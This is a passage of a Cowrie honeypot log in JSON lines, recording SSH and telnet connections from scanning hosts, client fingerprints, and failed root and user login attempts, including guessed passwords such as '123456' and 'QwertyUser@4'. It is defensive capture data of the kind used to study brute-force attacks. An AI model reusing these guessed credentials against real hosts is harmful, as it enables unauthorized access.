y1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:44.483399Z","src_ip":"182.93.50.90","session":"46d66da850b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"123456","message":"login attempt [esearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:45.376843Z","src_ip":"182.93.50.90","session":"46d66da850b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.248645067214966,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:45.969462Z","src_ip":"128.199.8.54","session":"aaf27d611e65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:11:46.593635Z","src_ip":"182.93.50.90","session":"46d66da850b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.93487310409546,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:12:08.038083Z","src_ip":"94.23.66.112","session":"6f5bd5637369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60640,"dst_ip":"159.203.135.109","dst_port":23,"session":"63f35cc1c462","protocol":"telnet","message":"New connection: 128.199.8.54:60640 (159.203.135.109:23) [session: 63f35cc1c462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:12:38.462300Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":21968,"dst_ip":"10.17.0.5","dst_port":22,"session":"079923f8cbb0","protocol":"ssh","message":"New connection: 194.59.206.2:21968 (10.17.0.5:22) [session: 079923f8cbb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:19.212875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:19.217535Z","src_ip":"194.59.206.2","session":"079923f8cbb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:19.306345Z","src_ip":"194.59.206.2","session":"079923f8cbb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:19.401653Z","src_ip":"194.59.206.2","session":"079923f8cbb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.240.126","src_port":33482,"dst_ip":"10.17.0.5","dst_port":22,"session":"06e7e27fc890","protocol":"ssh","message":"New connection: 212.192.240.126:33482 (10.17.0.5:22) [session: 06e7e27fc890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:33.364294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:33.368488Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:33.449530Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:6a:fc:a1:b7:73:f3:de:f4:18:1a:70:58:34:6a:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnX+id623QWEGPX3sUb6O/ZFjfTMuRv2GSVOYq2TX5BOykisTm4lSHPSXEbAHyko2+rleReG5sF9q0PsbiReGh/q5aJSvAI7NuJs6fkVUyKOw7Y0qE6tqOsF7DPod2Zx8VRqUXoqn61tV9YmIwjYsIxro95/H/bNKZ/+LPU6KFZx9ZRcaWeWX/ZtQZaVsoXrJBpYDzZM6eHDIcGgbL2Ju6qmhZqaXecNsIy0VPZx2dL8r3nS3SNZ63wDFLu+/Fgk2DdR+csAI8cS4ZI1Iy6j+Zoe241NkFYbFno9/5CjPZjdsOeWG1O9mhdNnJvrH7rUA9C0E4HhtSUZ9Jzs00n0HFCYsDHgZLLav0WmRv0iCw4MH3SndM+7VZbQqJsVkn9VLoI885qQniY7u2Zd/lWeh+7gcYvGNIjk8wCaxlfznAW0USv9+oFPA1sRw7DK1Bse85hR0q02i0IoPRgep6woE4j5/YzzS8nrnaYY+l7UZ2fLWhquG3QAt4iSrv93dBrGEdczYNQTIi+Bq9Yoc07L7iduF8ZAibPKFqnZ+KJFqT+XISEH7zjDqGsJeH9EGT7+Rt29gf0yt3Rzd2JQvE0yHXcPsCcecm941YKl94G2FMSf6lUN4yoapLBFWTM2mHM+YNgztlsVDHbN2xoWXXgVqlQlU3QmcUVxBGwVPMUF9Izw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:6a:fc:a1:b7:73:f3:de:f4:18:1a:70:58:34:6a:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:33.830885Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:6a:fc:a1:b7:73:f3:de:f4:18:1a:70:58:34:6a:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnX+id623QWEGPX3sUb6O/ZFjfTMuRv2GSVOYq2TX5BOykisTm4lSHPSXEbAHyko2+rleReG5sF9q0PsbiReGh/q5aJSvAI7NuJs6fkVUyKOw7Y0qE6tqOsF7DPod2Zx8VRqUXoqn61tV9YmIwjYsIxro95/H/bNKZ/+LPU6KFZx9ZRcaWeWX/ZtQZaVsoXrJBpYDzZM6eHDIcGgbL2Ju6qmhZqaXecNsIy0VPZx2dL8r3nS3SNZ63wDFLu+/Fgk2DdR+csAI8cS4ZI1Iy6j+Zoe241NkFYbFno9/5CjPZjdsOeWG1O9mhdNnJvrH7rUA9C0E4HhtSUZ9Jzs00n0HFCYsDHgZLLav0WmRv0iCw4MH3SndM+7VZbQqJsVkn9VLoI885qQniY7u2Zd/lWeh+7gcYvGNIjk8wCaxlfznAW0USv9+oFPA1sRw7DK1Bse85hR0q02i0IoPRgep6woE4j5/YzzS8nrnaYY+l7UZ2fLWhquG3QAt4iSrv93dBrGEdczYNQTIi+Bq9Yoc07L7iduF8ZAibPKFqnZ+KJFqT+XISEH7zjDqGsJeH9EGT7+Rt29gf0yt3Rzd2JQvE0yHXcPsCcecm941YKl94G2FMSf6lUN4yoapLBFWTM2mHM+YNgztlsVDHbN2xoWXXgVqlQlU3QmcUVxBGwVPMUF9Izw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:33.833810Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:37:28:c6:3f:36:cf:9d:ee:30:cc:6b:7f:39:99:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWDYTMs90W0fzNxTt45q8tNAHZkrYf2xR8v/t0lOdHvphLpkJ5wc8EJ5CDiFq0G39qqF3LJRtwyywpPPXVPy9nyFbgxIm9SEJuti/d2Ah+0zQUH4ed2lAkAO5f0aPL+VON0uFK1dLPmjpxkporqj75oF3+HAixehFdrZW/AfnXKfRj2nwRq8bdxo/8DD93QP5+Nszf/WzwE58WQFyqCvLmKULlYFf3doTEuUcCopnBo+Ebr+ijTF7661a2x/3+s5ogMCNSaBCFZY6ouqEskT0Q9ep6vejuediHRffbSTbcAlRgme056ZacqAjHCh/BFTIeJ+eNWdGMtV0lxMP6HXD92QdENTyKI4jRIdB4lXApC0iQ8N/Evi8iSiwfgc6rAh+riRQ00XY6wn9Ty5Nsf9CCkMK3rwVOwpFRug1GVhznX6m3c6roNSCZP+epbo8r4HBbP8vH7vzq/k1tRbKWX+SbLOzyDU4fRQzxN8Ms9qGerrTCQHZWw28nK0F4yyYfaTakRdYnQIDvH3RnayMwH98yu/iNYpb4Qe6ZBwVng2vG94IgBkybF0lAyuiB2B/ebvf0C6xWvRDbMNdF8Noyda9DvIS9hutl/2HxGybFKKaGy0csIg9oXvsMX66wqXIvZjJzo5U3+Jk9Nqe27bZs9k3fvvztVucvUdjVNFmFm3Evkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:37:28:c6:3f:36:cf:9d:ee:30:cc:6b:7f:39:99:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:33.912588Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:37:28:c6:3f:36:cf:9d:ee:30:cc:6b:7f:39:99:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWDYTMs90W0fzNxTt45q8tNAHZkrYf2xR8v/t0lOdHvphLpkJ5wc8EJ5CDiFq0G39qqF3LJRtwyywpPPXVPy9nyFbgxIm9SEJuti/d2Ah+0zQUH4ed2lAkAO5f0aPL+VON0uFK1dLPmjpxkporqj75oF3+HAixehFdrZW/AfnXKfRj2nwRq8bdxo/8DD93QP5+Nszf/WzwE58WQFyqCvLmKULlYFf3doTEuUcCopnBo+Ebr+ijTF7661a2x/3+s5ogMCNSaBCFZY6ouqEskT0Q9ep6vejuediHRffbSTbcAlRgme056ZacqAjHCh/BFTIeJ+eNWdGMtV0lxMP6HXD92QdENTyKI4jRIdB4lXApC0iQ8N/Evi8iSiwfgc6rAh+riRQ00XY6wn9Ty5Nsf9CCkMK3rwVOwpFRug1GVhznX6m3c6roNSCZP+epbo8r4HBbP8vH7vzq/k1tRbKWX+SbLOzyDU4fRQzxN8Ms9qGerrTCQHZWw28nK0F4yyYfaTakRdYnQIDvH3RnayMwH98yu/iNYpb4Qe6ZBwVng2vG94IgBkybF0lAyuiB2B/ebvf0C6xWvRDbMNdF8Noyda9DvIS9hutl/2HxGybFKKaGy0csIg9oXvsMX66wqXIvZjJzo5U3+Jk9Nqe27bZs9k3fvvztVucvUdjVNFmFm3Evkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:33.915051Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:da:3e:41:b6:73:80:4f:c8:18:ab:6b:37:10:5c:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8+DPjtm6zGj8x6jQa1GkEP+u70YtHfmvIRlxtmWn9EFyqqIA2+YZcFIiS/6XuQBx2KOGwjsWw2iNzD2TwMG9ZlRI2A7d84n8a/Tdc5E+ueOlumuaoHx40NpdX6yGos9kZpskQnk4gmdZTXb0a7gBQw+2r6kpOcHFe+cMqtY2CAPblADI6sdTTrjcBaSIUjlceBqeDzAi8v27EKeIEhEtSCNFQXLG6JZr+Sx0Cc1hZ1I8Z7/oyMCRpJFccDHBSHboCLrEiTxZJ+77DtoN/pxZH7qTKAdbFSpeFc2KVDpPFsd64szqxQEaY6LE4L3p5GHTuadqsJuuS7l4FGDB6fwc46skQhVNY2Bs+nRtHaXsz0uWSJiAReVZgc3+ZAbIhzY6vIEY74dE7sbkeY0KhzijV/PoRWfMS17XrtUb8uGxUYCmbhpxaQIzp1uZZT9V1fkPdKsbkvvubvwo7176AJVzY2X4giaUvnukCXez/vQD6VE5pK/L8rvhmPKzAQwwEJCE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:da:3e:41:b6:73:80:4f:c8:18:ab:6b:37:10:5c:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:33.995438Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:da:3e:41:b6:73:80:4f:c8:18:ab:6b:37:10:5c:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8+DPjtm6zGj8x6jQa1GkEP+u70YtHfmvIRlxtmWn9EFyqqIA2+YZcFIiS/6XuQBx2KOGwjsWw2iNzD2TwMG9ZlRI2A7d84n8a/Tdc5E+ueOlumuaoHx40NpdX6yGos9kZpskQnk4gmdZTXb0a7gBQw+2r6kpOcHFe+cMqtY2CAPblADI6sdTTrjcBaSIUjlceBqeDzAi8v27EKeIEhEtSCNFQXLG6JZr+Sx0Cc1hZ1I8Z7/oyMCRpJFccDHBSHboCLrEiTxZJ+77DtoN/pxZH7qTKAdbFSpeFc2KVDpPFsd64szqxQEaY6LE4L3p5GHTuadqsJuuS7l4FGDB6fwc46skQhVNY2Bs+nRtHaXsz0uWSJiAReVZgc3+ZAbIhzY6vIEY74dE7sbkeY0KhzijV/PoRWfMS17XrtUb8uGxUYCmbhpxaQIzp1uZZT9V1fkPdKsbkvvubvwo7176AJVzY2X4giaUvnukCXez/vQD6VE5pK/L8rvhmPKzAQwwEJCE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:33.998743Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:13:8d:06:cb:47:e4:fa:34:85:83:3f:46:17:e3:0f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOAEtybVAxeyQ4iVPJp05Fw9lh8dN5Lw4Rhw0wIjYuE+","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4f:13:8d:06:cb:47:e4:fa:34:85:83:3f:46:17:e3:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:34.079656Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:13:8d:06:cb:47:e4:fa:34:85:83:3f:46:17:e3:0f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOAEtybVAxeyQ4iVPJp05Fw9lh8dN5Lw4Rhw0wIjYuE+","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:34.120106Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:ff:51:7b:e5:d1:16:e8:8e:3e:ea:92:78:96:a1:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDf/9j3QDq4108L2YnI++s2fVMyQE3I1P1bqUwIx0XYYKCJA0Vb+xSmIayDs/NXszzdkjqUBTFniljB0YdzBAe3r89FlPAiuU7hx2Fet95qB5V8aHQ+lyznRyYPvu1s5VFtHhtb4p9y18SCJrqP3EuCGYAdpVGan8JRQ9kKQwL//tlN1g16yoDCSyiaC2mlpuscJfu35kyV1zDtxh/UVePfYfW1d0R/vWT8Dd1trZHGevblTRh0SJtCRGBEL/tprMguQgRL6jK46MntGSUKIE+8dLTbAJm5MZ8PLlXl5i0On9IOQoNlb8WAdi70QY7YOMRjGpWfIHY692YDZV8IWYkR4VYY1AiupmwbEkzecAJbaI6a0pHUcgxc3CF6tMc1IwAGPWoxp4wEOv5XHxnpsiZd0szJO43ukwtxwyBZe8uIEt25UKKQ0iBkkYq1YO59vi1dPto/DDeZSNgM7vxD8lGaSdrIIaMSEhDSzrhlOsSUWpwMhiaoGhe8rq+J9rKaDGrWrRKvK32cKG02v05k6vmFSaIfQ13LUf3gN9DDgHPflK/3pXn/FxrDvySYFValovfE0LeArY2OVZloPIBHBDmbw1IIsG3RQD5NVHM3A5dZrG1lTT7X/O7pGY5ulHCc7uFZHRD02Maqf+I51C+0s0wvKXFq7ksdDMvz2X9HMWl7ww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:ff:51:7b:e5:d1:16:e8:8e:3e:ea:92:78:96:a1:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:34.198568Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:ff:51:7b:e5:d1:16:e8:8e:3e:ea:92:78:96:a1:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDf/9j3QDq4108L2YnI++s2fVMyQE3I1P1bqUwIx0XYYKCJA0Vb+xSmIayDs/NXszzdkjqUBTFniljB0YdzBAe3r89FlPAiuU7hx2Fet95qB5V8aHQ+lyznRyYPvu1s5VFtHhtb4p9y18SCJrqP3EuCGYAdpVGan8JRQ9kKQwL//tlN1g16yoDCSyiaC2mlpuscJfu35kyV1zDtxh/UVePfYfW1d0R/vWT8Dd1trZHGevblTRh0SJtCRGBEL/tprMguQgRL6jK46MntGSUKIE+8dLTbAJm5MZ8PLlXl5i0On9IOQoNlb8WAdi70QY7YOMRjGpWfIHY692YDZV8IWYkR4VYY1AiupmwbEkzecAJbaI6a0pHUcgxc3CF6tMc1IwAGPWoxp4wEOv5XHxnpsiZd0szJO43ukwtxwyBZe8uIEt25UKKQ0iBkkYq1YO59vi1dPto/DDeZSNgM7vxD8lGaSdrIIaMSEhDSzrhlOsSUWpwMhiaoGhe8rq+J9rKaDGrWrRKvK32cKG02v05k6vmFSaIfQ13LUf3gN9DDgHPflK/3pXn/FxrDvySYFValovfE0LeArY2OVZloPIBHBDmbw1IIsG3RQD5NVHM3A5dZrG1lTT7X/O7pGY5ulHCc7uFZHRD02Maqf+I51C+0s0wvKXFq7ksdDMvz2X9HMWl7ww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:34.201614Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:34.282243Z","src_ip":"212.192.240.126","session":"06e7e27fc890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.22229862213135,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:35.684469Z","src_ip":"128.199.8.54","session":"63f35cc1c462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49158,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dab7791b9af","protocol":"telnet","message":"New connection: 128.199.8.54:49158 (159.203.135.109:23) [session: 0dab7791b9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:13:53.100245Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":58376,"dst_ip":"10.17.0.5","dst_port":22,"session":"20649331cd59","protocol":"ssh","message":"New connection: 27.71.230.31:58376 (10.17.0.5:22) [session: 20649331cd59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:14:08.465186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:14:08.566833Z","src_ip":"27.71.230.31","session":"20649331cd59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:14:10.515053Z","src_ip":"27.71.230.31","session":"20649331cd59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QwertyUser@4","message":"login attempt [root/QwertyUser@4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:14:13.941022Z","src_ip":"27.71.230.31","session":"20649331cd59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:14:15.863199Z","src_ip":"27.71.230.31","session":"20649331cd59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.16700029373169,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:14:32.267087Z","src_ip":"128.199.8.54","session":"0dab7791b9af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46916,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0706b3690bf","protocol":"telnet","message":"New connection: 128.199.8.54:46916 (159.203.135.109:23) [session: d0706b3690bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:14:38.663531Z"}
